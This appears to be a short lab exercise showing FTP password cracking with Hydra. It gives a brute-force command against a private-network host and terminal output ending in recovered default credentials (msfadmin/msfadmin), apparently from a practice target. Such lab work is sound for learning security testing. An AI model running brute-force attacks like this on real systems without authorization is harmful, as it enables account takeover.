2)PASSWORD CRACKING USING HYDRA Sol:-

1)hydra -l users.txt -P pass.txt 192.168.137.178 ftp

```
(anush® kali)=[~]
$ hydra -L users.txt -P pass.txt 192.168.137.178 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-14 13:54:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 988 login tries (l:26/p:38), ~62 tries per task
[DATA] attacking ftp://192.168.137.178:21/

[STATUS] 304.00 tries/min, 304 tries in 00:01h, 684 to do in 00:03h, 16 active

[STATUS] 296.00 tries/min, 592 tries in 00:02h, 396 to do in 00:02h, 16 active
[STATUS] 293.00 tries/min, 879 tries in 00:03h, 109 to do in 00:01h, 16 active
[21][ftp] host: 192.168.137.178 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-14 13:57:57
```